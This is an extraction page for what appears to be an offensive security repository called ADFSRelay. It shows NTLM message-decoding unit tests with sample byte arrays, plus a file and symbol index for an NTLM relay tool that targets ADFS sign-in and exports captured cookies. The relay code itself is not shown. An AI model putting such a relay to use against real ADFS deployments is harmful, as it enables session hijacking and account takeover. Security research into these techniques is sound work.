		0xc6, 0x93, 0xe6, 0x05, 0xec, 0xf5, 0x37, 0x4d, 0xf9, 0x5a, 0xac, 0xa2,
		0x6b, 0xf3, 0x09, 0x00, 0x3e, 0x00, 0x48, 0x00, 0x54, 0x00, 0x54, 0x00,
		0x50, 0x00, 0x2f, 0x00, 0x73, 0x00, 0x74, 0x00, 0x73, 0x00, 0x2e, 0x00,
		0x63, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x74, 0x00, 0x6f, 0x00, 0x73, 0x00,
		0x6f, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x70, 0x00, 0x6f, 0x00,
		0x72, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6f, 0x00, 0x6e, 0x00,
		0x2e, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0xeb, 0xdf, 0x0e, 0xc1, 0xf7, 0xde, 0xb8, 0x3c,
		0x1c, 0xfe, 0x69, 0x25, 0xf7, 0x22, 0x16, 0x5a,
	}
)

func TestDecodeNegotiateMessageSampleA(t *testing.T) {
	var err error

	NegotiateMessage, err := DecodeNegotiateMessage(NegotiateMessageBytesSampleA)
	if err != nil {
		t.Errorf("error decoding negotiate message: %v", err)
	}

	spew.Dump(NegotiateMessage)
}

func TestDecodeChallengeMessageSampleA(t *testing.T) {
	var err error

	ChallengeMessage, err := DecodeChallengeMessage(ChallengeMessageBytesSampleA)
	if err != nil {
		t.Errorf("error decoding challenge message: %v", err)
	}

	spew.Dump(ChallengeMessage)
}

func TestDecodeAuthenticateMessageSampleA(t *testing.T) {
	var err error

	AuthenticateMessage, err := DecodeAuthenticateMessage(AuthenticateMessageBytesSampleA)
	if err != nil {
		t.Errorf("error decoding challenge message: %v", err)
	}

	spew.Dump(AuthenticateMessage)
}

func TestDecodeNegotiateMessageSampleB(t *testing.T) {
	var err error

	NegotiateMessage, err := DecodeNegotiateMessage(NegotiateMessageBytesSampleB)
	if err != nil {
		t.Errorf("error decoding negotiate message: %v", err)
	}

	spew.Dump(NegotiateMessage)
}

func TestDecodeChallengeMessageSampleB(t *testing.T) {
	var err error

	ChallengeMessage, err := DecodeChallengeMessage(ChallengeMessageBytesSampleB)
	if err != nil {
		t.Errorf("error decoding challenge message: %v", err)
	}

	spew.Dump(ChallengeMessage)
}

func TestDecodeAuthenticateMessageSampleB(t *testing.T) {
	var err error

	AuthenticateMessage, err := DecodeAuthenticateMessage(AuthenticateMessageBytesSampleB)
	if err != nil {
		t.Errorf("error decoding challenge message: %v", err)
	}

	spew.Dump(AuthenticateMessage)
}

func TestDecodeNegotiateMessageSampleC(t *testing.T) {
	var err error

	NegotiateMessage, err := DecodeNegotiateMessage(NegotiateMessageBytesSampleC)
	if err != nil {
		t.Errorf("error decoding negotiate message: %v", err)
	}

	spew.Dump(NegotiateMessage)
}

func TestDecodeChallengeMessageSampleC(t *testing.T) {
	var err error

	ChallengeMessage, err := DecodeChallengeMessage(ChallengeMessageBytesSampleC)
	if err != nil {
		t.Errorf("error decoding challenge message: %v", err)
	}

	spew.Dump(ChallengeMessage)
}

func TestDecodeAuthenticateMessageSampleC(t *testing.T) {
	var err error

	AuthenticateMessage, err := DecodeAuthenticateMessage(AuthenticateMessageBytesSampleC)
	if err != nil {
		t.Errorf("error decoding challenge message: %v", err)
	}

	spew.Dump(*AuthenticateMessage)
}

func TestDecodeNegotiateMessageSampleD(t *testing.T) {
	var err error

	NegotiateMessage, err := DecodeNegotiateMessage(NegotiateMessageBytesSampleD)
	if err != nil {
		t.Errorf("error decoding negotiate message: %v", err)
	}

	spew.Dump(NegotiateMessage)
}

func TestDecodeChallengeMessageSampleD(t *testing.T) {
	var err error

	ChallengeMessage, err := DecodeChallengeMessage(ChallengeMessageBytesSampleD)
	if err != nil {
		t.Errorf("error decoding challenge message: %v", err)
	}

	spew.Dump(ChallengeMessage)
}

func TestDecodeAuthenticateMessageSampleD(t *testing.T) {
	var err error

	AuthenticateMessage, err := DecodeAuthenticateMessage(AuthenticateMessageBytesSampleD)
	if err != nil {
		t.Errorf("error decoding challenge message: %v", err)
	}

	spew.Dump(*AuthenticateMessage)
}

func TestFullDecodeSampleA(t *testing.T) {
	decodedNegotiateMessage, err := DecodeMessage(NegotiateMessageBytesSampleA)
	if err != nil {
		t.Errorf("error decoding message: %v", err)
		return
	}

	switch v := decodedNegotiateMessage.(type) {
	case *NEGOTIATE_MESSAGE:
		spew.Dump(*(decodedNegotiateMessage.(*NEGOTIATE_MESSAGE)))
	default:
		t.Errorf("did not properly identify message as a *NEGOTIATE_MESSAGE, got : %T", v)
	}

	decodedChallengeMessage, err := DecodeMessage(ChallengeMessageBytesSampleA)
	if err != nil {
		t.Errorf("error decoding message: %v", err)
		return
	}

	switch v := decodedChallengeMessage.(type) {
	case *CHALLENGE_MESSAGE:
		spew.Dump(*(decodedChallengeMessage.(*CHALLENGE_MESSAGE)))
	default:
		t.Errorf("did not properly identify message as a *CHALLENGE_MESSAGE, got : %T", v)
	}

	decodedAuthenticateMessage, err := DecodeMessage(AuthenticateMessageBytesSampleA)
	if err != nil {
		t.Errorf("error decoding message: %v", err)
		return
	}

	switch v := decodedAuthenticateMessage.(type) {
	case *AUTHENTICATE_MESSAGE:
		spew.Dump(*(decodedAuthenticateMessage.(*AUTHENTICATE_MESSAGE)))
	default:
		t.Errorf("did not properly identify message as a *AUTHENTICATE_MESSAGE, got : %T", v)
	}
}

func TestFullDecodeSampleB(t *testing.T) {
	decodedNegotiateMessage, err := DecodeMessage(NegotiateMessageBytesSampleB)
	if err != nil {
		t.Errorf("error decoding message: %v", err)
		return
	}

	switch v := decodedNegotiateMessage.(type) {
	case *NEGOTIATE_MESSAGE:
		spew.Dump(*(decodedNegotiateMessage.(*NEGOTIATE_MESSAGE)))
	default:
		t.Errorf("did not properly identify message as a *NEGOTIATE_MESSAGE, got : %T", v)
	}

	decodedChallengeMessage, err := DecodeMessage(ChallengeMessageBytesSampleB)
	if err != nil {
		t.Errorf("error decoding message: %v", err)
		return
	}

	switch v := decodedChallengeMessage.(type) {
	case *CHALLENGE_MESSAGE:
		spew.Dump(*(decodedChallengeMessage.(*CHALLENGE_MESSAGE)))
	default:
		t.Errorf("did not properly identify message as a *CHALLENGE_MESSAGE, got : %T", v)
	}

	decodedAuthenticateMessage, err := DecodeMessage(AuthenticateMessageBytesSampleB)
	if err != nil {
		t.Errorf("error decoding message: %v", err)
		return
	}

	switch v := decodedAuthenticateMessage.(type) {
	case *AUTHENTICATE_MESSAGE:
		spew.Dump(*(decodedAuthenticateMessage.(*AUTHENTICATE_MESSAGE)))
	default:
		t.Errorf("did not properly identify message as a *AUTHENTICATE_MESSAGE, got : %T", v)
	}
}

func TestFullDecodeSampleC(t *testing.T) {
	decodedNegotiateMessage, err := DecodeMessage(NegotiateMessageBytesSampleC)
	if err != nil {
		t.Errorf("error decoding message: %v", err)
		return
	}

	switch v := decodedNegotiateMessage.(type) {
	case *NEGOTIATE_MESSAGE:
		spew.Dump(*(decodedNegotiateMessage.(*NEGOTIATE_MESSAGE)))
	default:
		t.Errorf("did not properly identify message as a *NEGOTIATE_MESSAGE, got : %T", v)
	}

	decodedChallengeMessage, err := DecodeMessage(ChallengeMessageBytesSampleC)
	if err != nil {
		t.Errorf("error decoding message: %v", err)
		return
	}

	switch v := decodedChallengeMessage.(type) {
	case *CHALLENGE_MESSAGE:
		spew.Dump(*(decodedChallengeMessage.(*CHALLENGE_MESSAGE)))
	default:
		t.Errorf("did not properly identify message as a *CHALLENGE_MESSAGE, got : %T", v)
	}

	decodedAuthenticateMessage, err := DecodeMessage(AuthenticateMessageBytesSampleC)
	if err != nil {
		t.Errorf("error decoding message: %v", err)
		return
	}

	switch v := decodedAuthenticateMessage.(type) {
	case *AUTHENTICATE_MESSAGE:
		spew.Dump(*(decodedAuthenticateMessage.(*AUTHENTICATE_MESSAGE)))
	default:
		t.Errorf("did not properly identify message as a *AUTHENTICATE_MESSAGE, got : %T", v)
	}
}

func TestFullDecodeSampleD(t *testing.T) {
	decodedNegotiateMessage, err := DecodeMessage(NegotiateMessageBytesSampleD)
	if err != nil {
		t.Errorf("error decoding message: %v", err)
		return
	}

	switch v := decodedNegotiateMessage.(type) {
	case *NEGOTIATE_MESSAGE:
		spew.Dump(*(decodedNegotiateMessage.(*NEGOTIATE_MESSAGE)))
	default:
		t.Errorf("did not properly identify message as a *NEGOTIATE_MESSAGE, got : %T", v)
	}

	decodedChallengeMessage, err := DecodeMessage(ChallengeMessageBytesSampleD)
	if err != nil {
		t.Errorf("error decoding message: %v", err)
		return
	}

	switch v := decodedChallengeMessage.(type) {
	case *CHALLENGE_MESSAGE:
		spew.Dump(*(decodedChallengeMessage.(*CHALLENGE_MESSAGE)))
	default:
		t.Errorf("did not properly identify message as a *CHALLENGE_MESSAGE, got : %T", v)
	}

	decodedAuthenticateMessage, err := DecodeMessage(AuthenticateMessageBytesSampleD)
	if err != nil {
		t.Errorf("error decoding message: %v", err)
		return
	}

	switch v := decodedAuthenticateMessage.(type) {
	case *AUTHENTICATE_MESSAGE:
		spew.Dump(*(decodedAuthenticateMessage.(*AUTHENTICATE_MESSAGE)))
	default:
		t.Errorf("did not properly identify message as a *AUTHENTICATE_MESSAGE, got : %T", v)
	}
}
Download .txt
gitextract_wftfh0c1/

├── .github/
│   └── workflows/
│       └── release.yml
├── .gitignore
├── LICENSE
├── README.md
├── cmd/
│   ├── ADFSRelay/
│   │   └── ADFSRelay.go
│   └── NTLMParse/
│       └── NTLMParse.go
├── go.mod
├── go.sum
└── pkg/
    ├── cookies/
    │   ├── datatypes.go
    │   └── export.go
    └── ntlm/
        ├── datatypes.go
        ├── debug.go
        ├── decoder.go
        ├── ntlm.go
        └── ntlm_test.go
Download .txt
SYMBOL INDEX (66 symbols across 9 files)

FILE: cmd/ADFSRelay/ADFSRelay.go
  function ADFSRelayStateHandler (line 38) | func ADFSRelayStateHandler(w http.ResponseWriter, r *http.Request) {
  function SendNegotiateMessagetoADFS (line 173) | func SendNegotiateMessagetoADFS(clientRequestID string, MSISSamlRequest ...
  function SendAuthenticateMessagetoADFS (line 216) | func SendAuthenticateMessagetoADFS(clientRequestID string, MSISSamlReque...
  function GetMSISAMLRequestCookie (line 251) | func GetMSISAMLRequestCookie(clientRequestID string) (string, error) {
  function main (line 285) | func main() {

FILE: cmd/NTLMParse/NTLMParse.go
  function main (line 25) | func main() {

FILE: pkg/cookies/datatypes.go
  type CookieEditorExportFormat (line 17) | type CookieEditorExportFormat struct

FILE: pkg/cookies/export.go
  function ExportCookiesToCookieEditorFormat (line 19) | func ExportCookiesToCookieEditorFormat(cookies []*http.Cookie) []CookieE...

FILE: pkg/ntlm/datatypes.go
  constant NTLM_MINIMUM_HEADER_SIZE (line 20) | NTLM_MINIMUM_HEADER_SIZE       = 12
  constant NTLM_MINIMUM_NEGOTIATE_SIZE (line 21) | NTLM_MINIMUM_NEGOTIATE_SIZE    = 32
  constant NTLM_MINIMUM_CHALLENGE_SIZE (line 22) | NTLM_MINIMUM_CHALLENGE_SIZE    = 48
  constant NTLM_MINIMUM_AUTHENTICATE_SIZE (line 23) | NTLM_MINIMUM_AUTHENTICATE_SIZE = 64
  constant MESSAGE_TYPE_NEGOTIATE (line 26) | MESSAGE_TYPE_NEGOTIATE    = 0x1
  constant MESSAGE_TYPE_CHALLENGE (line 27) | MESSAGE_TYPE_CHALLENGE    = 0x2
  constant MESSAGE_TYPE_AUTHENTICATE (line 28) | MESSAGE_TYPE_AUTHENTICATE = 0x3
  constant MsvAvEOL (line 31) | MsvAvEOL             = 0x0000
  constant MsvAvNbComputerName (line 32) | MsvAvNbComputerName  = 0x0001
  constant MsvAvNbDomainName (line 33) | MsvAvNbDomainName    = 0x0002
  constant MsvAvDnsComputerName (line 34) | MsvAvDnsComputerName = 0x0003
  constant MsvAvDnsDomainName (line 35) | MsvAvDnsDomainName   = 0x0004
  constant MsvAvDnsTreeName (line 36) | MsvAvDnsTreeName     = 0x0005
  constant MsvAvFlags (line 37) | MsvAvFlags           = 0x0006
  constant MsvAvTimestamp (line 38) | MsvAvTimestamp       = 0x0007
  constant MsvAvSingleHost (line 39) | MsvAvSingleHost      = 0x0008
  constant MsvAvTargetName (line 40) | MsvAvTargetName      = 0x0009
  constant MsvChannelBindings (line 41) | MsvChannelBindings   = 0x000A
  constant AccountAuthenticationConstrained (line 44) | AccountAuthenticationConstrained = 0x00000001
  constant MessageIntegrityCodeIncluded (line 45) | MessageIntegrityCodeIncluded     = 0x00000002
  constant ServicePrincipalNameIncluded (line 46) | ServicePrincipalNameIncluded     = 0x00000004
  type NEGOTIATE_MESSAGE (line 53) | type NEGOTIATE_MESSAGE struct
  type CHALLENGE_MESSAGE (line 73) | type CHALLENGE_MESSAGE struct
  type AUTHENTICATE_MESSAGE (line 96) | type AUTHENTICATE_MESSAGE struct
  type NTLM_VERSION_INFO_DEBUG (line 142) | type NTLM_VERSION_INFO_DEBUG struct
  type DECODED_NEGOTIATE_FLAGS (line 150) | type DECODED_NEGOTIATE_FLAGS struct
  type DECODED_TARGET_INFO (line 185) | type DECODED_TARGET_INFO struct
  type AV_PAIR (line 189) | type AV_PAIR struct
  type NTLMv2_RESPONSE (line 195) | type NTLMv2_RESPONSE struct
  type NTLMv2_CLIENT_CHALLENGE (line 200) | type NTLMv2_CLIENT_CHALLENGE struct

FILE: pkg/ntlm/debug.go
  method Print (line 19) | func (*NEGOTIATE_MESSAGE) Print() {
  method Print (line 23) | func (*CHALLENGE_MESSAGE) Print() {
  method Print (line 27) | func (*AUTHENTICATE_MESSAGE) Print() {

FILE: pkg/ntlm/decoder.go
  function decodeInt16LittleEndian (line 17) | func decodeInt16LittleEndian(rawBytes []byte) uint16 {
  function decodeInt32LittleEndian (line 21) | func decodeInt32LittleEndian(rawBytes []byte) uint32 {

FILE: pkg/ntlm/ntlm.go
  function DecodeMessage (line 22) | func DecodeMessage(rawBytes []byte) (interface{}, error) {
  function DecodeNegotiateMessage (line 45) | func DecodeNegotiateMessage(rawBytes []byte) (*NEGOTIATE_MESSAGE, error) {
  function DecodeChallengeMessage (line 94) | func DecodeChallengeMessage(rawBytes []byte) (*CHALLENGE_MESSAGE, error) {
  function DecodeAuthenticateMessage (line 149) | func DecodeAuthenticateMessage(rawBytes []byte) (*AUTHENTICATE_MESSAGE, ...
  function DecodeNegotiateFlags (line 267) | func DecodeNegotiateFlags(NegotiateFlags uint32) DECODED_NEGOTIATE_FLAGS {
  function DecodeAvPairs (line 306) | func DecodeAvPairs(rawBytes []byte) ([]AV_PAIR, error) {
  function DecodeNTLMv2ClientChallenge (line 336) | func DecodeNTLMv2ClientChallenge(rawBytes []byte) (NTLMv2_CLIENT_CHALLEN...

FILE: pkg/ntlm/ntlm_test.go
  function TestDecodeNegotiateMessageSampleA (line 303) | func TestDecodeNegotiateMessageSampleA(t *testing.T) {
  function TestDecodeChallengeMessageSampleA (line 314) | func TestDecodeChallengeMessageSampleA(t *testing.T) {
  function TestDecodeAuthenticateMessageSampleA (line 325) | func TestDecodeAuthenticateMessageSampleA(t *testing.T) {
  function TestDecodeNegotiateMessageSampleB (line 336) | func TestDecodeNegotiateMessageSampleB(t *testing.T) {
  function TestDecodeChallengeMessageSampleB (line 347) | func TestDecodeChallengeMessageSampleB(t *testing.T) {
  function TestDecodeAuthenticateMessageSampleB (line 358) | func TestDecodeAuthenticateMessageSampleB(t *testing.T) {
  function TestDecodeNegotiateMessageSampleC (line 369) | func TestDecodeNegotiateMessageSampleC(t *testing.T) {
  function TestDecodeChallengeMessageSampleC (line 380) | func TestDecodeChallengeMessageSampleC(t *testing.T) {
  function TestDecodeAuthenticateMessageSampleC (line 391) | func TestDecodeAuthenticateMessageSampleC(t *testing.T) {
  function TestDecodeNegotiateMessageSampleD (line 402) | func TestDecodeNegotiateMessageSampleD(t *testing.T) {
  function TestDecodeChallengeMessageSampleD (line 413) | func TestDecodeChallengeMessageSampleD(t *testing.T) {
  function TestDecodeAuthenticateMessageSampleD (line 424) | func TestDecodeAuthenticateMessageSampleD(t *testing.T) {
  function TestFullDecodeSampleA (line 435) | func TestFullDecodeSampleA(t *testing.T) {
  function TestFullDecodeSampleB (line 476) | func TestFullDecodeSampleB(t *testing.T) {
  function TestFullDecodeSampleC (line 517) | func TestFullDecodeSampleC(t *testing.T) {
  function TestFullDecodeSampleD (line 558) | func TestFullDecodeSampleD(t *testing.T) {
Condensed preview — 15 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (92K chars).
[
  {
    "path": ".github/workflows/release.yml",
    "chars": 1319,
    "preview": "# Copyright 2022 Praetorian Security, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may"
  },
  {
    "path": ".gitignore",
    "chars": 13,
    "preview": "**/.DS_Store\n"
  },
  {
    "path": "LICENSE",
    "chars": 11357,
    "preview": "                                 Apache License\n                           Version 2.0, January 2004\n                   "
  },
  {
    "path": "README.md",
    "chars": 4019,
    "preview": "# Overview \n\nThis repository includes two utilities NTLMParse and ADFSRelay. NTLMParse is a utility for decoding base64-"
  },
  {
    "path": "cmd/ADFSRelay/ADFSRelay.go",
    "chars": 9598,
    "preview": "// Copyright 2022 Praetorian Security, Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you"
  },
  {
    "path": "cmd/NTLMParse/NTLMParse.go",
    "chars": 1305,
    "preview": "// Copyright 2022 Praetorian Security, Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you"
  },
  {
    "path": "go.mod",
    "chars": 130,
    "preview": "module github.com/praetorian-in/ADFSRelay\n\ngo 1.17\n\nrequire (\n\tgithub.com/davecgh/go-spew v1.1.1\n\tgithub.com/google/uuid"
  },
  {
    "path": "go.sum",
    "chars": 334,
    "preview": "github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=\ngithub.com/davecgh/go-spew v1.1.1/go.m"
  },
  {
    "path": "pkg/cookies/datatypes.go",
    "chars": 1233,
    "preview": "// Copyright 2022 Praetorian Security, Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you"
  },
  {
    "path": "pkg/cookies/export.go",
    "chars": 1340,
    "preview": "// Copyright 2022 Praetorian Security, Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you"
  },
  {
    "path": "pkg/ntlm/datatypes.go",
    "chars": 6400,
    "preview": "// Copyright 2022 Praetorian Security, Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you"
  },
  {
    "path": "pkg/ntlm/debug.go",
    "chars": 919,
    "preview": "// Copyright 2022 Praetorian Security, Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you"
  },
  {
    "path": "pkg/ntlm/decoder.go",
    "chars": 891,
    "preview": "// Copyright 2022 Praetorian Security, Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you"
  },
  {
    "path": "pkg/ntlm/ntlm.go",
    "chars": 17662,
    "preview": "// Copyright 2022 Praetorian Security, Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you"
  },
  {
    "path": "pkg/ntlm/ntlm_test.go",
    "chars": 30135,
    "preview": "// Copyright 2022 Praetorian Security, Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you"
  }
]

About this extraction

This page contains the full source code of the praetorian-inc/ADFSRelay GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 15 files (84.6 KB), approximately 34.7k tokens, and a symbol index with 66 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!